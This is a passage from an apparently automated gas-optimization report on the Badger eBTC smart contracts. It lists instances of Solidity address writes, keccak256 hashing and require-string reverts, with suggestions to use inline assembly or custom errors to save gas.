writes to an address storage value without using assembly.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L56

File: contracts/ActivePool.sol

398    feeRecipientAddress = _feeRecipientAddress

writes to an address storage value without using assembly.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L398

File: contracts/BorrowerOperations.sol

121    feeRecipientAddress = _feeRecipientAddress

writes to an address storage value without using assembly.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L121

File: contracts/BorrowerOperations.sol

1148    feeRecipientAddress = _feeRecipientAddress

writes to an address storage value without using assembly.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L1148

File: contracts/CdpManagerStorage.sol

229    liquidationLibrary = _liquidationLibraryAddress

writes to an address storage value without using assembly.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L229

File: contracts/CdpManagerStorage.sol

233    borrowerOperationsAddress = _borrowerOperationsAddress

writes to an address storage value without using assembly.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L233

File: contracts/CollSurplusPool.sol

50    activePoolAddress = _activePoolAddress

writes to an address storage value without using assembly.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CollSurplusPool.sol#L50

File: contracts/CollSurplusPool.sol

52    feeRecipientAddress = IActivePool(activePoolAddress).feeRecipientAddress()

writes to an address storage value without using assembly.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CollSurplusPool.sol#L52

File: contracts/CollSurplusPool.sol

48    borrowerOperationsAddress = _borrowerOperationsAddress

writes to an address storage value without using assembly.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CollSurplusPool.sol#L48

File: contracts/CollSurplusPool.sol

49    cdpManagerAddress = _cdpManagerAddress

writes to an address storage value without using assembly.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CollSurplusPool.sol#L49

File: contracts/EBTCToken.sol

68    cdpManagerAddress = _cdpManagerAddress

writes to an address storage value without using assembly.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L68

File: contracts/EBTCToken.sol

69    borrowerOperationsAddress = _borrowerOperationsAddress

writes to an address storage value without using assembly.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L69

File: contracts/LeverageMacroFactory.sol

31    cdpManager = _cdpManager

writes to an address storage value without using assembly.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroFactory.sol#L31

File: contracts/LeverageMacroFactory.sol

30    activePool = _activePool

writes to an address storage value without using assembly.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroFactory.sol#L30

File: contracts/LeverageMacroFactory.sol

32    ebtcToken = _ebtc

writes to an address storage value without using assembly.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroFactory.sol#L32

File: contracts/LeverageMacroFactory.sol

33    stETH = _coll

writes to an address storage value without using assembly.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroFactory.sol#L33

File: contracts/LeverageMacroFactory.sol

34    sortedCdps = _sortedCdps

writes to an address storage value without using assembly.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroFactory.sol#L34

File: contracts/LeverageMacroFactory.sol

29    borrowerOperations = _borrowerOperationsAddress

writes to an address storage value without using assembly.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroFactory.sol#L29

File: contracts/LeverageMacroReference.sol

36    theOwner = _owner

writes to an address storage value without using assembly.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroReference.sol#L36

File: contracts/SimplifiedDiamondLike.sol

45    owner = _owner

writes to an address storage value without using assembly.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SimplifiedDiamondLike.sol#L45

File: contracts/SortedCdps.sol

96    borrowerOperationsAddress = _borrowerOperationsAddress

writes to an address storage value without using assembly.

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SortedCdps.sol#L96

[G-47] Use Assembly for Hash Calculation

  • Severity: Gas Optimization
  • Confidence: Medium
  • Total Gas Saved: 960

Description

Detects places in the code where hash calculation could be done using inline assembly to optimize gas usage.

There are 12 instances of this issue:

File: contracts/BorrowerOperations.sol

129    bytes32 hashedVersion = keccak256(bytes(_VERSION))

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L129

File: contracts/BorrowerOperations.sol

682    return keccak256(abi.encode(typeHash, name, version, _chainID(), address(this)))

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L682

File: contracts/BorrowerOperations.sol

128    bytes32 hashedName = keccak256(bytes(NAME))

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L128

File: contracts/BorrowerOperations.sol

717    bytes32 digest = keccak256(
718                abi.encodePacked(
719                    "\x19\x01",
720                    domainSeparator(),
721                    keccak256(
722                        abi.encode(
723                            _PERMIT_POSITION_MANAGER_TYPEHASH,
724                            _borrower,
725                            _positionManager,
726                            _approval,
727                            _nonces[_borrower]++,
728                            _deadline
729                        )
730                    )
731                )
732            )

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L717-L732

File: contracts/BorrowerOperations.sol

32    bytes32 private constant _PERMIT_POSITION_MANAGER_TYPEHASH =
33            keccak256(
34                "PermitPositionManagerApproval(address borrower,address positionManager,uint8 status,uint256 nonce,uint256 deadline)"
35            )

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L32-L35

File: contracts/EBTCToken.sol

71    bytes32 hashedName = keccak256(bytes(_NAME))

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L71

File: contracts/EBTCToken.sol

72    bytes32 hashedVersion = keccak256(bytes(_VERSION))

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L72

File: contracts/EBTCToken.sol

240    return keccak256(abi.encode(typeHash, name, version, _chainID(), address(this)))

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L240

File: contracts/EBTCToken.sol

209    bytes32 digest = keccak256(
210                abi.encodePacked(
211                    "\x19\x01",
212                    domainSeparator(),
213                    keccak256(
214                        abi.encode(_PERMIT_TYPEHASH, owner, spender, amount, _nonces[owner]++, deadline)
215                    )
216                )
217            )

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L209-L217

File: contracts/HintHelpers.sol

182    latestRandomSeed = uint256(keccak256(abi.encodePacked(latestRandomSeed)))

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/HintHelpers.sol#L182

File: contracts/LeverageMacroBase.sol

37    bytes32 constant FLASH_LOAN_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan")

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/LeverageMacroBase.sol#L37

File: contracts/SimplifiedDiamondLike.sol

39    bytes32 constant DIAMOND_STORAGE_POSITION = keccak256("diamond.standard.diamond.storage")

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/SimplifiedDiamondLike.sol#L39

[G-48] Usage of Custom Errors for Gas Efficiency

  • Severity: Gas Optimization
  • Confidence: High
  • Total Gas Saved: 41952

Description

This detector flags functions that use revert()/require() strings, which are less gas efficient than custom errors. Custom errors, available from Solidity version 0.8.4, save approximately 50 gas each time they’re used by avoiding the need to allocate and store the revert string.

There are 152 instances of this issue:

File: contracts/ActivePool.sol

104    require(cachedSystemCollShares >= _shares, "!ActivePoolBal")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L104

File: contracts/ActivePool.sol

137    require(cachedSystemCollShares >= _shares, "ActivePool: Insufficient collateral shares")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L137

File: contracts/ActivePool.sol

162    require(cachedSystemCollShares >= _shares, "ActivePool: Insufficient collateral shares")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L162

File: contracts/ActivePool.sol

220    require(
221                msg.sender == borrowerOperationsAddress,
222                "ActivePool: Caller is not BorrowerOperations"
223            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L220-L223

File: contracts/ActivePool.sol

228    require(
229                msg.sender == borrowerOperationsAddress || msg.sender == cdpManagerAddress,
230                "ActivePool: Caller is neither BorrowerOperations nor CdpManager"
231            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L228-L231

File: contracts/ActivePool.sol

236    require(msg.sender == cdpManagerAddress, "ActivePool: Caller is not CdpManager")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L236

File: contracts/ActivePool.sol

267    require(amount > 0, "ActivePool: 0 Amount")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L267

File: contracts/ActivePool.sol

269    require(amount <= maxFlashLoan(token), "ActivePool: Too much")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L269

File: contracts/ActivePool.sol

277    require(
278                receiver.onFlashLoan(msg.sender, token, amount, fee, data) == FLASH_SUCCESS_VALUE,
279                "ActivePool: IERC3156: Callback failed"
280            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L277-L280

File: contracts/ActivePool.sol

294    require(
295                collateral.balanceOf(address(this)) >= collateral.getPooledEthByShares(systemCollShares),
296                "ActivePool: Must repay Balance"
297            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L294-L297

File: contracts/ActivePool.sol

298    require(
299                collateral.sharesOf(address(this)) >= systemCollShares,
300                "ActivePool: Must repay Share"
301            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L298-L301

File: contracts/ActivePool.sol

302    require(
303                collateral.getPooledEthByShares(DECIMAL_PRECISION) == oldRate,
304                "ActivePool: Should keep same collateral share rate"
305            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L302-L305

File: contracts/ActivePool.sol

318    require(token == address(collateral), "ActivePool: collateral Only")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L318

File: contracts/ActivePool.sol

319    require(!flashLoansPaused, "ActivePool: Flash Loans Paused")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L319

File: contracts/ActivePool.sol

350    require(
351                cachedFeeRecipientCollShares >= _shares,
352                "ActivePool: Insufficient fee recipient coll"
353            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L350-L353

File: contracts/ActivePool.sol

374    require(token != address(collateral), "ActivePool: Cannot Sweep Collateral")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L374

File: contracts/ActivePool.sol

377    require(amount <= balance, "ActivePool: Attempt to sweep more than balance")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L377

File: contracts/ActivePool.sol

393    require(
394                _feeRecipientAddress != address(0),
395                "ActivePool: Cannot set fee recipient to zero address"
396            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L393-L396

File: contracts/ActivePool.sol

407    require(_newFee <= MAX_FEE_BPS, "ERC3156FlashLender: _newFee should <= MAX_FEE_BPS")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/ActivePool.sol#L407

File: contracts/BorrowerOperations.sol

368    require(
369                _stEthBalanceDecrease <= _cdpStEthBalance,
370                "BorrowerOperations: Cannot withdraw greater stEthBalance than the value in Cdp"
371            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L368-L371

File: contracts/BorrowerOperations.sol

463    require(vars.netStEthBalance > 0, "BorrowerOperations: zero collateral for openCdp()!")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L463

File: contracts/BorrowerOperations.sol

541    require(
542                vars.netStEthBalance + LIQUIDATOR_REWARD == _stEthBalance,
543                "BorrowerOperations: deposited collateral mismatch!"
544            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L541-L544

File: contracts/BorrowerOperations.sol

715    require(_deadline >= block.timestamp, "BorrowerOperations: Position manager permit expired")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L715

File: contracts/BorrowerOperations.sol

734    require(
735                recoveredAddress != address(0) && recoveredAddress == _borrower,
736                "BorrowerOperations: Invalid signature"
737            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L734-L737

File: contracts/BorrowerOperations.sol

807    require(
808                _stEthBalanceIncrease == 0 || _stEthBalanceDecrease == 0,
809                "BorrowerOperations: Cannot add and withdraw collateral in same operation"
810            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L807-L810

File: contracts/BorrowerOperations.sol

818    require(
819                _stEthBalanceIncrease != 0 || _stEthBalanceDecrease != 0 || _debtChange != 0,
820                "BorrowerOperations: There must be either a collateral change or a debt change"
821            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L818-L821

File: contracts/BorrowerOperations.sol

826    require(status == 1, "BorrowerOperations: Cdp does not exist or is closed")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L826

File: contracts/BorrowerOperations.sol

831    require(status == 0, "BorrowerOperations: Cdp is active or has been previously closed")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L831

File: contracts/BorrowerOperations.sol

835    require(_debtChange > 0, "BorrowerOperations: Debt increase requires non-zero debtChange")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L835

File: contracts/BorrowerOperations.sol

839    require(
840                !_checkRecoveryModeForTCR(_tcr),
841                "BorrowerOperations: Operation not permitted during Recovery Mode"
842            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L839-L842

File: contracts/BorrowerOperations.sol

846    require(
847                _stEthBalanceDecrease == 0,
848                "BorrowerOperations: Collateral withdrawal not permitted during Recovery Mode"
849            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L846-L849

File: contracts/BorrowerOperations.sol

911    require(
912                _newICR >= MCR,
913                "BorrowerOperations: An operation that would result in ICR < MCR is not permitted"
914            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L911-L914

File: contracts/BorrowerOperations.sol

918    require(_newICR >= CCR, "BorrowerOperations: Operation must leave cdp with ICR >= CCR")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L918

File: contracts/BorrowerOperations.sol

922    require(
923                _newICR >= _oldICR,
924                "BorrowerOperations: Cannot decrease your Cdp's ICR in Recovery Mode"
925            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L922-L925

File: contracts/BorrowerOperations.sol

929    require(
930                _newTCR >= CCR,
931                "BorrowerOperations: An operation that would result in TCR < CCR is not permitted"
932            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L929-L932

File: contracts/BorrowerOperations.sol

936    require(_debt > 0, "BorrowerOperations: Debt must be non-zero")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L936

File: contracts/BorrowerOperations.sol

940    require(
941                _stEthBalance >= MIN_NET_STETH_BALANCE,
942                "BorrowerOperations: Cdp's net stEth balance must not fall below minimum"
943            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L940-L943

File: contracts/BorrowerOperations.sol

947    require(
948                _debtRepayment <= _currentDebt,
949                "BorrowerOperations: Amount repaid must not be larger than the Cdp's debt"
950            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L947-L950

File: contracts/BorrowerOperations.sol

957    require(
958                ebtcToken.balanceOf(_account) >= _debtRepayment,
959                "BorrowerOperations: Caller doesnt have enough eBTC to make repayment"
960            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L957-L960

File: contracts/BorrowerOperations.sol

970    require(
971                _approval != PositionManagerApproval.None,
972                "BorrowerOperations: Only borrower account or approved position manager can OpenCdp on borrower's behalf"
973            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L970-L973

File: contracts/BorrowerOperations.sol

1083    require(amount > 0, "BorrowerOperations: 0 Amount")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L1083

File: contracts/BorrowerOperations.sol

1085    require(amount <= maxFlashLoan(token), "BorrowerOperations: Too much")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L1085

File: contracts/BorrowerOperations.sol

1091    require(
1092                receiver.onFlashLoan(msg.sender, token, amount, fee, data) == FLASH_SUCCESS_VALUE,
1093                "IERC3156: Callback failed"
1094            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L1091-L1094

File: contracts/BorrowerOperations.sol

1115    require(token == address(ebtcToken), "BorrowerOperations: EBTC Only")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L1115

File: contracts/BorrowerOperations.sol

1116    require(!flashLoansPaused, "BorrowerOperations: Flash Loans Paused")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L1116

File: contracts/BorrowerOperations.sol

1141    require(
1142                _feeRecipientAddress != address(0),
1143                "BorrowerOperations: Cannot set feeRecipient to zero address"
1144            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L1141-L1144

File: contracts/BorrowerOperations.sol

1155    require(_newFee <= MAX_FEE_BPS, "ERC3156FlashLender: _newFee should <= MAX_FEE_BPS")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L1155

File: contracts/BorrowerOperations.sol

145    require(locked == OPEN, "BorrowerOperations: Reentrancy in nonReentrant call")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L145

File: contracts/BorrowerOperations.sol

146    require(
147                ReentrancyGuard(address(cdpManager)).locked() == OPEN,
148                "CdpManager: Reentrancy in nonReentrant call"
149            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/BorrowerOperations.sol#L146-L149

File: contracts/CdpManager.sol

332    require(redemptionsPaused == false, "CdpManager: Redemptions Paused")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L332

File: contracts/CdpManager.sol

431    require(totals.collSharesDrawn > 0, "CdpManager: Unable to redeem any amount")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L431

File: contracts/CdpManager.sol

502    require(_toRemoveIds[0] == _start, "CdpManager: batchRemoveSortedCdpIds check start error")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L502

File: contracts/CdpManager.sol

503    require(
504                _toRemoveIds[_total - 1] == _end,
505                "CdpManager: batchRemoveSortedCdpIds check end error"
506            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L503-L506

File: contracts/CdpManager.sol

626    require(newBaseRate > 0, "CdpManager: new baseRate is zero!")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L626

File: contracts/CdpManager.sol

672    require(redemptionFee < _ETHDrawn, "CdpManager: Fee would eat up all returned collateral")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L672

File: contracts/CdpManager.sol

678    require(decayedBaseRate <= DECIMAL_PRECISION, "CdpManager: baseRate too large!")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L678

File: contracts/CdpManager.sol

743    require(
744                callerBalance >= _amount,
745                "CdpManager: Requested redemption amount must be <= user's EBTC token balance"
746            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L743-L746

File: contracts/CdpManager.sol

747    require(
748                callerBalance <= _totalSupply,
749                "CdpManager: redeemer's EBTC balance exceeds total supply!"
750            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L747-L750

File: contracts/CdpManager.sol

754    require(_amount > 0, "CdpManager: Amount must be greater than zero")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L754

File: contracts/CdpManager.sol

758    require(_TCR >= MCR, "CdpManager: Cannot redeem when TCR < MCR")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L758

File: contracts/CdpManager.sol

762    require(
763                _maxFeePercentage >= redemptionFeeFloor && _maxFeePercentage <= DECIMAL_PRECISION,
764                "Max fee percentage must be between redemption fee floor and 100%"
765            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L762-L765

File: contracts/CdpManager.sol

774    require(
775                _stakingRewardSplit <= MAX_REWARD_SPLIT,
776                "CDPManager: new staking reward split exceeds max"
777            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L774-L777

File: contracts/CdpManager.sol

789    require(
790                _redemptionFeeFloor >= MIN_REDEMPTION_FEE_FLOOR,
791                "CDPManager: new redemption fee floor is lower than minimum"
792            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L789-L792

File: contracts/CdpManager.sol

793    require(
794                _redemptionFeeFloor <= DECIMAL_PRECISION,
795                "CDPManager: new redemption fee floor is higher than maximum"
796            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L793-L796

File: contracts/CdpManager.sol

808    require(
809                _minuteDecayFactor >= MIN_MINUTE_DECAY_FACTOR,
810                "CDPManager: new minute decay factor out of range"
811            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L808-L811

File: contracts/CdpManager.sol

812    require(
813                _minuteDecayFactor <= MAX_MINUTE_DECAY_FACTOR,
814                "CDPManager: new minute decay factor out of range"
815            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManager.sol#L812-L815

File: contracts/CdpManagerStorage.sol

112    require(
113                _gracePeriod >= MINIMUM_GRACE_PERIOD,
114                "CdpManager: Grace period below minimum duration"
115            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L112-L115

File: contracts/CdpManagerStorage.sol

261    require(
262                closedStatus != Status.nonExistent && closedStatus != Status.active,
263                "CdpManagerStorage: close non-exist or non-active CDP!"
264            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L261-L264

File: contracts/CdpManagerStorage.sol

453    require(totalStakesSnapshot > 0, "CdpManagerStorage: zero totalStakesSnapshot!")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L453

File: contracts/CdpManagerStorage.sol

466    require(
467                cdpStatus != Status.nonExistent && cdpStatus != Status.active,
468                "CdpManagerStorage: remove non-exist or non-active CDP!"
469            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L466-L469

File: contracts/CdpManagerStorage.sol

475    require(index <= idxLast, "CdpManagerStorage: CDP indexing overflow!")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L475

File: contracts/CdpManagerStorage.sol

556    require(_newIndex > _prevIndex, "CDPManager: only take fee with bigger new index")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L556

File: contracts/CdpManagerStorage.sol

584    require(activePool.getSystemCollShares() > _feeTaken, "CDPManager: fee split is too big")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L584

File: contracts/CdpManagerStorage.sol

649    require(Cdps[_cdpId].status == Status.active, "CdpManager: Cdp does not exist or is closed")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L649

File: contracts/CdpManagerStorage.sol

653    require(
654                CdpOwnersArrayLength > 1 && sortedCdps.getSize() > 1,
655                "CdpManager: Only one cdp in the system"
656            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L653-L656

File: contracts/CdpManagerStorage.sol

660    require(
661                msg.sender == borrowerOperationsAddress,
662                "CdpManager: Caller is not the BorrowerOperations contract"
663            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L660-L663

File: contracts/CdpManagerStorage.sol

242    require(locked == OPEN, "CdpManager: Reentrancy in nonReentrant call")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L242

File: contracts/CdpManagerStorage.sol

243    require(
244                ReentrancyGuard(borrowerOperationsAddress).locked() == OPEN,
245                "BorrowerOperations: Reentrancy in nonReentrant call"
246            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CdpManagerStorage.sol#L243-L246

File: contracts/CollSurplusPool.sol

92    require(claimableColl > 0, "CollSurplusPool: No collateral available to claim")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CollSurplusPool.sol#L92

File: contracts/CollSurplusPool.sol

99    require(cachedTotalSurplusCollShares >= claimableColl, "!CollSurplusPoolBal")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CollSurplusPool.sol#L99

File: contracts/CollSurplusPool.sol

113    require(
114                msg.sender == borrowerOperationsAddress,
115                "CollSurplusPool: Caller is not Borrower Operations"
116            )

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CollSurplusPool.sol#L113-L116

File: contracts/CollSurplusPool.sol

120    require(msg.sender == cdpManagerAddress, "CollSurplusPool: Caller is not CdpManager")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CollSurplusPool.sol#L120

File: contracts/CollSurplusPool.sol

124    require(msg.sender == activePoolAddress, "CollSurplusPool: Caller is not Active Pool")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CollSurplusPool.sol#L124

File: contracts/CollSurplusPool.sol

143    require(token != address(collateral), "CollSurplusPool: Cannot Sweep Collateral")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CollSurplusPool.sol#L143

File: contracts/CollSurplusPool.sol

146    require(amount <= balance, "CollSurplusPool: Attempt to sweep more than balance")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/CollSurplusPool.sol#L146

File: contracts/EBTCToken.sol

144    require(cachedAllowance >= amount, "ERC20: transfer amount exceeds allowance")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L144

File: contracts/EBTCToken.sol

165    require(cachedAllowances >= subtractedValue, "ERC20: decreased allowance below zero")

use custom error instead

https://github.com/code-423n4/2023-10-badger/blob/main/packages/contracts/contracts/EBTCToken.sol#L165

File: contracts/EBTCToken.sol

208    require(deadline >= block.timestamp, "EBTC: expired deadline")

use custom error instead

